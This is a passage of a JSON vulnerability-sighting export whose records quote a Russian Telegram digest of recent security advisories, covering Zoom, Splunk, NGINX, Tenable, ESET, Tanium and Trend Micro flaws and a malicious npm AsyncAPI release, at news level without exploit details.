\u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u043b\u0438\u0448\u044c \u043e\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n2. Splunk \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432. \u0418\u0437 \u043f\u044f\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u043b\u044f Splunk, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f CVE-2026-20296 (\u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438), CVE-2026-20297 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438) \u0438 CVE-2026-20298 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0445\u044d\u0448\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n3. F5 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u043c \u0432\u043e\u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 NGINX \u0438 BIG-IP.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-42533 (CVSS 9.2), \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 NGINX Plus \u0438 NGINX Open Source, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. F5 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n4. \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Trend Micro, ESET, Tenable \u0438 Tanium \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\nTenable\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Tenable Agent. CVE-2026-15265 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\nESET\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Inspect Connector \u0434\u043b\u044f Windows, \u0430 Tanium\u00a0- \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 DoS, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 Tanium Server.\n\nTrend Micro\u00a0\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cleaner One Pro \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b Trend Micro, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Bitdefender \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u0430\u0442\u0430\u043a, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a Windows \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 EDR.\n\n6. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432 \u043d\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Exchange Server (CVE-2026-42897, CVSS 8,1)\n\n7. \u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0435 Shark \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u044b \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n8. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Node (npm) \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043f\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 AsyncAPI (\u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e 2,25 \u043c\u043b\u043d.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-16T19:00:32.258008Z"}, {"uuid": "f576ad9a-5bb3-4e99-9250-64cefcdf055b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/CnEki5hq44Oxm0CoGoLc7kB7HOehG1kiHXYcZhaPM81wL2c", "content": "", "creation_timestamp": "2026-07-16T19:00:21.302120Z"}, {"uuid": "701b7bbc-920f-486b-96a3-f344ce748c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/Ar6VYUXodzKxiDS_suM4v32kyWX2cdNc6MzI7nJflxEqdTk", "content": "", "creation_timestamp": "2026-07-16T19:00:17.537820Z"}, {"uuid": "638d7877-149f-493a-90f7-eb2107404b0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/7rIIDruJxEl38qBzoHyGM9oWQAxjhN2Km_TAbaElw9hJXAI", "content": "", "creation_timestamp": "2026-07-16T19:00:21.433254Z"}, {"uuid": "b7e03c41-c6fb-4971-b904-9c2e6a0758e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/FdcDblJgpr4Bk1hzBo52CEMZWjwW5t7MZ6W5ZLgqcoUP2nQ", "content": "", "creation_timestamp": "2026-07-16T19:00:31.831229Z"}, {"uuid": "28a73a4d-6d79-4410-ab5c-b42fa4f67d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20298", "type": "seen", "source": "https://t.me/true_secator/8417", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Zoom \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u0438\u0446\u043e\u043c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\nCVE-2026-53412 (CVSS 9,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Zoom Workplace \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0, Windows VDI Client \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.10, 6.6.15 \u0438 6.5.18, \u0430 \u0442\u0430\u043a\u0436\u0435 Meeting SDK \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u043b\u0438\u0448\u044c \u043e\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n2. Splunk \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432. \u0418\u0437 \u043f\u044f\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u043b\u044f Splunk, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f CVE-2026-20296 (\u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438), CVE-2026-20297 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438) \u0438 CVE-2026-20298 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0445\u044d\u0448\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n3. F5 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u043c \u0432\u043e\u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 NGINX \u0438 BIG-IP.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-42533 (CVSS 9.2), \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 NGINX Plus \u0438 NGINX Open Source, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 